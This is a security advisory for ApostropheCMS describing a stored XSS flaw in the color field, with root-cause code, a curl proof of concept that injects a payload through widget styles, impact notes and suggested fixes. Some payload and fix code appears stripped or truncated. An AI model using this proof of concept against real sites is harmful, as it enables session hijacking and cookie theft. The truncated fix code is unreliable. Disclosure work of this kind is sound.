GHSA-97v6-998m-fp4g ApostropheCMS: Stored XSS via CSS Custom Property Injection in @apostrophecms/color-field Escaping Style Tag Context

• npm apostrophe: < 4.29.0 → fixed in 4.29.0

Summary The `@apostrophecms/color-field` module bypasses color validation for values prefixed with `--` (intended for CSS custom properties), but performs no HTML sanitization on these values. When styles containing attacker-controlled color values are rendered into `` tags — both in the global stylesheet (editors only) and in per-widget style elements (all visitors) — the lack of escaping allows an editor to inject `` followed by arbitrary HTML/JavaScript, achieving stored XSS against all site visitors. Details Root Cause 1: Validation bypass in color field (`modules/@apostrophecms/color-field/index.js:36`) The color field's `convert` method uses TinyColor to validate color values, but exempts any value starting with `--`: ```javascript // modules/@apostrophecms/color-field/index.js:26-38 async convert(req, field, data, destination) { destination[field.name] = self.apos.launder.string(data[field.name]); // ... const test = new TinyColor(destination[field.name]); if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } }, ``` A value like `--x: red}alert(document.cookie)` passes validation because it starts with `--`. The `launder.string()` call performs type coercion only — it does not strip HTML metacharacters like ``, or `/`. Root Cause 2a: Unescaped rendering in widget styles (public path) (`modules/@apostrophecms/styles/lib/methods.js:232-234`) The `getWidgetElements()` method concatenates the CSS string directly into a `` tag: ```javascript // modules/@apostrophecms/styles/lib/methods.js:232-234 return `\n` + css + '\n'; ``` This is then marked as safe HTML via `template.safe()` in the helpers (`modules/@apostrophecms/styles/lib/helpers.js:17-20`), and rendered for all visitors on any page containing a styled widget (`modules/@apostrophecms/widget-type/index.js:426-432`). Root Cause 2b: Unescaped rendering in global stylesheet (editor path) (`modules/@apostrophecms/template/index.js:1164-1165`) The `renderNodes()` function returns `node.raw` without escaping: ```javascript // modules/@apostrophecms/template/index.js:1164-1165 if (node.raw != null) { return node.raw; } ``` Style nodes containing the malicious color values are rendered as raw HTML, affecting editors and admins who can `view-draft`. PoC Prerequisites: An account with `editor` role on an Apostrophe 4.x instance. The site must have at least one piece or page type with a color field used in styles configuration. Step 1: Authenticate and obtain a CSRF token and session cookie. ```bash Login as editor COOKIE_JAR=$(mktemp) curl -s -c "$COOKIE_JAR" -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -d '{"username":"editor","password":"editor123"}' Extract CSRF token CSRF=$(curl -s -b "$COOKIE_JAR" http://localhost:3000/api/v1/@apostrophecms/i18n/locale/en | grep -o '"csrfToken":"[^"]*"' | cut -d'"' -f4) ``` Step 2: Create or update a piece/page with a malicious color value in a styled widget. The exact API route depends on the site's widget configuration. For a widget type that uses a color field in its styles schema (e.g., a `background-color` style property): ```bash Inject XSS payload via color field in widget styles The --x prefix bypasses TinyColor validation PAYLOAD='--x: red}' curl -s -b "$COOKIE_JAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page" \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $CSRF" \ -d '{ "slug": "/xss-test", "title": "Test Page", "type": "default-page", "main": { "items": [{ "type": "some-widget", "styles": { "backgroundColor": "'"$PAYLOAD"'" } }] } }' ``` Step 3: Publish the page. ```bash curl -s -b "$COOKIE_JAR" -X POST \ "http://localhost:3000/api/v1/@apostrophecms/page/{pageId}/publish" \ -H "X-XSRF-TOKEN: $CSRF" ``` Step 4: Any visitor navigates to the published page. ```bash As an unauthenticated visitor curl -s http://localhost:3000/xss-test | grep -A2 'onerror' ``` Expected (safe): The color value is escaped or rejected. Actual: The rendered HTML contains: ```html .apos-widget-style-... { background-color: --x: red}; } ``` The injected `` closes the style tag, and the `` executes JavaScript in the visitor's browser. Impact • Stored XSS on public pages (Path B): An editor can inject JavaScript that executes for every visitor to any page containing the affected widget. This enables mass cookie theft, session hijacking, keylogging, phishing overlays, and drive-by malware delivery against the site's entire audience. • Privilege escalation (Path A): An editor can steal admin session tokens from higher-privileged users viewing draft content, escalating to full administrative control of the CMS. • Persistence: The payload is stored in the database and survives restarts. It executes on every page load until the content is manually edited. • No CSP mitigation: Apostrophe does not enforce a strict Content-Security-Policy by default, so inline script execution is not blocked. Recommended Fix Fix 1: Sanitize color values in the color field's `convert` method (`modules/@apostrophecms/color-field/index.js`): ```javascript // Before (line 36): if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } // After: if (!test.isValid && !destination[field.name].startsWith('--')) { destination[field.name] = null; } else if (destination[field.name].startsWith('--')) { // CSS custom property names: only allow alphanumeric, hyphens, underscores if (!/^--[a-zA-Z0-9_-]+$/.test(destination[field.name])) { destination[field.name] = null; } } ``` Fix 2: Escape CSS output in `getWidgetElements` (`modules/@apostrophecms/styles/lib/methods.js`): ```javascript // Before (line 232-234): return `\n` + css + '\n'; // After: const sanitizedCss = css.replace(/\n` + sanitizedCss + '\n'; ``` Both fixes should be applied: Fix 1 provides input validation (defense in depth at the data layer), and Fix 2 provides output encoding (preventing style tag breakout regardless of the input source).